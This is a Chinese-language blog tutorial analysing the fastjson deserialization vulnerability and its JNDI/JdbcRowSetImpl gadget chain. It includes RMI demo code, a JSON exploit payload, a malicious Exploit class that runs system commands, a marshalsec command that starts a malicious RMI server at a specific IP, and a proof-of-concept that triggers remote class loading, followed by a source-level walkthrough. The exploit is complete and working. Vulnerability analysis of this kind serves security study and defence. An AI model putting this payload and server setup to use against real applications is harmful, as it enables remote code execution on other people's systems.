從0開始fastjson漏洞分析https://www.cnblogs.com/piaomiaohongchen/p/14777856.html
有了前文鋪墊,可以說對fastjson內部機制和fastjson的反序列化處理已經瞭然於心
大致流程如下,簡單說下:當呼叫Parse的時候,會先搜尋@type,然後通過JSONSCanner判斷使用者的json輸入,判斷開頭是否是{和",然後獲取我們的輸入@type類,通過JSONSCannerSymbool去解析,獲取我們@type的值,使用集合的方式儲存這個惡意類(就是我們@type的值),對惡意類序列化,反序列化,通過反射呼叫類中所有方法(get/set)和類中的屬性,把獲取到的方法進行處理,對獲取到的屬性進行序列化和反序列化,並使用集合封裝處理.判斷是否是set開頭的方法,如果是,把set**後面的欄位序列化然後反序列化.比如我們的bytecodes,對我們的輸入解碼,那麼我們的輸入就是編碼
不雞肋的利用鏈:JNDI && JdbcRowSetImpl利⽤鏈
先學習jndi:
jdni具體含義:
JNDI 即Java Naming and Directory Interface(JAVA 命名和目錄介面),那麼Java 命名的目的就是為了記錄一些不方便記錄的內容,就像DNS 中的域名與IP 的關係,存在一一對應的關係。
JNDI 被定義為獨立於任何特定的目錄服務實現。因此,可以以通用方式訪問各種目錄。
jndi一個實際場景就是spring boot下的資料庫連線池子:
通過遠端呼叫,其底層原理就是使用的jndi.
JNDI架構:
其中在fastjson漏洞利用中,最常用的就是ldap和rmi了. 即使是一點都不懂漏洞原理的,相信在打fastjson漏洞的時候也會遇到這兩個協議
他們的具體含義是:
輕型目錄訪問協議(LDAP )。
Java遠端方法呼叫(RMI )登錄檔。
我們以rmi為例,寫一段demo:
rmi的目的很簡單:就是要使執行在不同的計算機中的物件之間的呼叫表現得像本地呼叫一樣。
遠端介面定義:
IRemoteTest.java
package com.test.fastjson.jndi; import java.rmi.Remote; import java.rmi.RemoteException; //必須繼承Remote型別,必須丟擲異常 public interface IRemoteTest extends Remote { public String test() throws RemoteException; }
介面實現類:
IRemoteTestImpl.java
package com.test.fastjson.jndi; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; //遠端介面實現 public class IRemoteTestImpl extends UnicastRemoteObject implements IRemoteTest { protected IRemoteTestImpl() throws RemoteException { super(); } @Override public String test() throws RemoteException { return Thread.currentThread().getStackTrace() [1].getMethodName()+"被遠端呼叫了"; } }
編寫服務端繫結:
Server.java
package com.test.fastjson.jndi; import java.net.MalformedURLException; import java.rmi.AlreadyBoundException; import java.rmi.Naming; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; //服務端繫結 public class Server { IRemoteTest iRemoteTest; public void server() throws RemoteException, AlreadyBoundException, MalformedURLException { iRemoteTest = new IRemoteTestImpl(); //遠端物件登錄檔例項 LocateRegistry.createRegistry(6666); //把遠端物件註冊到RMI註冊伺服器上 Naming.bind("rmi://127.0.0.1:6666/test",iRemoteTest); System.out.println("server繫結成功"); } }
編寫客戶端,呼叫遠端物件:
Client.java:
package com.test.fastjson.jndi; import java.net.MalformedURLException; import java.rmi.Naming; import java.rmi.NotBoundException; import java.rmi.RemoteException; //客戶端呼叫服務端宣告的物件 public class Client { public IRemoteTest iRemoteTest; public void client() throws RemoteException, NotBoundException, MalformedURLException { //在RMI登錄檔中查詢指定物件 iRemoteTest = (IRemoteTest) Naming.lookup("rmi://127.0.0.1:6666/test"); //呼叫遠端物件方法 System.out.println("client:"); System.out.println(iRemoteTest.test()); } }
編寫測試類:
package com.test.fastjson.jndi; import org.junit.Test; import java.net.MalformedURLException; import java.rmi.AlreadyBoundException; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class RMITest { @Test public void testServer() throws MalformedURLException, RemoteException, AlreadyBoundException { Server server = new Server(); server.server(); while(true); } @Test public void testClient() throws RemoteException, NotBoundException, MalformedURLException { Client client = new Client(); client.client(); } }
先呼叫服務端,然後客戶端遠端呼叫方法:
啟動客戶端:
瞭解了rmi後,我們來看下JNDI && JdbcRowSetImpl利⽤鏈
exp如下:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vps_ip/Exploit", "autoCommit":true}
其中看見使用rmi,看到Exploit,通過前面的rmi學習,可以知道Exploit就是我們遠端物件Exploit,我們遠端呼叫Exploit類物件:
通過前面學習rmi,我們可以模擬服務端,但是很多時候很麻煩,這裡藉助前輩的工具:快速搭建惡意rmi/ldap服務端:
marshalsec, RMI / LDAP 惡意伺服器快速搭建⼯具,下載地址:https://github.com/mbechler/marshalsec
寫個惡意類:
先生成惡意類位元組碼:
javac Exploit生成class位元組碼
Exploit.java->javac Exploit.java ->Exploit.class:
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.io.Serializable; import java.util.Hashtable; public class Exploit implements ObjectFactory, Serializable { public Exploit(){ try{ Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); }catch (IOException e){ e.printStackTrace(); } } public static void main(String[] args){ Exploit exploit = new Exploit(); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
快速搭建rmi/ldap伺服器:
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://119.45.227.86/#Exploit
這樣就會生成服務端的監聽,等待接收客戶端的呼叫:
rmi預設埠1099,可以自定義設定埠:
在末尾加埠即可:
客戶端呼叫服務端:
Exploit:
package com.test.fastjson.Exploit_chain2; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class ExploitPoc { public static void main(String[] args) { String poc ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://119.45.227.86:123:7777/Exploit\",\"autoCommit\":true}"; JSON.parse(poc); } }
即可實現命令執行,可能部分人無法複測成功,因為ldap/rmi受限於jdk版本限制:
ldap適用 JDK11.0.1/8u191/7u201/6u211之前,rmi適用JDK8u113/7u122/6u132之前
前面開頭我們簡單的講解了下fastjson反序列化的流程,現在我們靜態除錯分析下:
首先反射進入JdbcRowSetImpl或者debug Parse函式:
檢視定義的屬性:
private Connection conn; private PreparedStatement ps; private ResultSet rs; private RowSetMetaDataImpl rowsMD; private ResultSetMetaData resMD; private Vector<Integer> iMatchColumns; private Vector<String> strMatchColumns; protected transient JdbcRowSetResourceBundle resBundle;
檢視set和get方法:
有對應的get和set方法,所以不需要Feature.SupportNonPublicField
根據exp看看datasource屬性:
設定datasource:
對datasource進行賦值:
接著呼叫setAutoCommit:
一定要讓conn為null,所以exp裡面沒設定conn,為null才能觸發else條件,走else條件會呼叫connent方法和設定autocommit:
跟進this.connect():
當前物件方法,那麼就在這個類裡面:
重點:
databasesoucrename可以外部定義!
通過lookup遠端查詢,呼叫惡意類,從而實現rce,就是這麼簡單